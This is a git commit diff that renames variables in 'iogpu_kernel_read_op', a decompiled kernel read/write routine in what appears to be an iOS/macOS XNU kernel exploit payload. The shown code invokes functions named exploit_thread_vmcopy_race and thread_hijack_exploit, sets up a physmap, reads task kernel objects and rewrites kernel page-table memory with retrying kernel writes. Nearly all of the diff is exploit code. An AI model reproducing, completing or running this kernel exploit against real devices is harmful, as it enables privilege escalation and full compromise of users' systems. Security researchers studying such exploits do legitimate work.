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Clean up iogpu kernel read scan context

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khanhduytran0
2026-06-05 12:30:18 +07:00
parent 27ceb61dda
commit 9722df67c6
1 changed files with 14 additions and 16 deletions
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src/payload_377bed/entry1_type0x09.m
+14 -16
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@@ -5766,9 +5766,7 @@ __int64 __fastcall iogpu_kernel_read_op(__int64 krwCtx, unsigned __int64 a2, int
uint64_t v28[2]; // [xsp+58h] [xbp-358h] BYREF
int v29; // [xsp+68h] [xbp-348h]
uint64_t *v30[3]; // [xsp+70h] [xbp-340h] BYREF
uint64_t v31[3]; // [xsp+88h] [xbp-328h] BYREF
__int64 v32; // [xsp+A0h] [xbp-310h]
__int64 v33; // [xsp+A8h] [xbp-308h]
uint64_t kernelScanCtx[5]; // [xsp+88h] [xbp-328h] BYREF
uint64_t v34[2]; // [xsp+B0h] [xbp-300h] BYREF
char v35; // [xsp+C4h] [xbp-2ECh]
unsigned __int64 v36; // [xsp+D0h] [xbp-2E0h]
@@ -5791,24 +5789,24 @@ __int64 __fastcall iogpu_kernel_read_op(__int64 krwCtx, unsigned __int64 a2, int
goto LABEL_6;
}
}
v30[2] = v31;
v30[2] = kernelScanCtx;
v34[0] = off_448E0;
v34[1] = v31;
v34[1] = kernelScanCtx;
v12 = parse_xnu_version_string((__int64)&qword_480D8);
if ( !v12 )
{
v7 = 163878;
v33 = krwCtx;
scan_for_macho_header(v31, *(uint64_t *)(krwCtx + 6600));
kernelScanCtx[4] = krwCtx;
scan_for_macho_header(kernelScanCtx, *(uint64_t *)(krwCtx + 6600));
port_kaddr = get_task_kobject_addr((struct_krwCtx *)krwCtx, mach_task_self_);
v31[2] = port_kaddr;
if ( port_kaddr && (v32 = kreadptr((struct_krwCtx *)krwCtx, port_kaddr)) != 0 )
kernelScanCtx[2] = port_kaddr;
if ( port_kaddr && (kernelScanCtx[3] = kreadptr((struct_krwCtx *)krwCtx, port_kaddr)) != 0 )
{
if ( !(unsigned int)init_text_exec_data_const_sections(v30) && !(unsigned int)setup_iokit_notify_dispatch(&qword_48000, v30) )
{
if ( (unsigned int)exploit_thread_vmcopy_race((__int64)v34)
|| (unsigned int)krw_ctx_setup_physmap((__int64)&word_48048, v30, (__int64)v31)
|| (v28[0] = v31, v28[1] = v34, v29 = 0, (unsigned int)thread_hijack_exploit((__int64)v28)) )
|| (unsigned int)krw_ctx_setup_physmap((__int64)&word_48048, v30, (__int64)kernelScanCtx)
|| (v28[0] = kernelScanCtx, v28[1] = v34, v29 = 0, (unsigned int)thread_hijack_exploit((__int64)v28)) )
{
get_ppnum_via_kread((__int64)v34);
}
@@ -5840,8 +5838,8 @@ __int64 __fastcall iogpu_kernel_read_op(__int64 krwCtx, unsigned __int64 a2, int
if ( v23 && (v36 & 0xFFFFFFFFC000LL) != 0 )
{
v30[0] = (uint64_t *)MEMORY[0x400000008];
v31[0] = MEMORY[0x400000008] & 0xFFFF000000003FFFLL | v36 & 0xFFFFFFFFC000LL;
MEMORY[0x400000008] = v31[0];
kernelScanCtx[0] = MEMORY[0x400000008] & 0xFFFF000000003FFFLL | v36 & 0xFFFFFFFFC000LL;
MEMORY[0x400000008] = kernelScanCtx[0];
memory_barrier_dsb_isb();
semaphore_timedwait_ns(krwCtx, 0x2710u);
*(uint64_t *)(v22 & 0x3FFF | 0x400004000LL) = v21 & 0xFFFF000000003FFFLL
@@ -5860,10 +5858,10 @@ LABEL_6:
if ( v35 == 3 )
{
v11 = v9 + 8 * (((*(uint32_t *)(krwCtx + 384) + (uint32_t)v9) & 0x1FFFFFFu) / *(uint32_t *)(krwCtx + 384));
if ( (unsigned int)krw_read_thunk((struct_krwCtx *)krwCtx, v11, 8, v31) )
if ( (unsigned int)krw_read_thunk((struct_krwCtx *)krwCtx, v11, 8, kernelScanCtx) )
{
v27[0] = v31[0] & 0xFFFF000000003FFFLL | (((v36 >> 14) & 0x3FFFFFFFFLL) << 14);
if ( v27[0] == v31[0] )
v27[0] = kernelScanCtx[0] & 0xFFFF000000003FFFLL | (((v36 >> 14) & 0x3FFFFFFFFLL) << 14);
if ( v27[0] == kernelScanCtx[0] )
goto LABEL_12;
if ( (unsigned int)kwrite_with_retry(krwCtx, v11, (__int64)v27, 8) )
{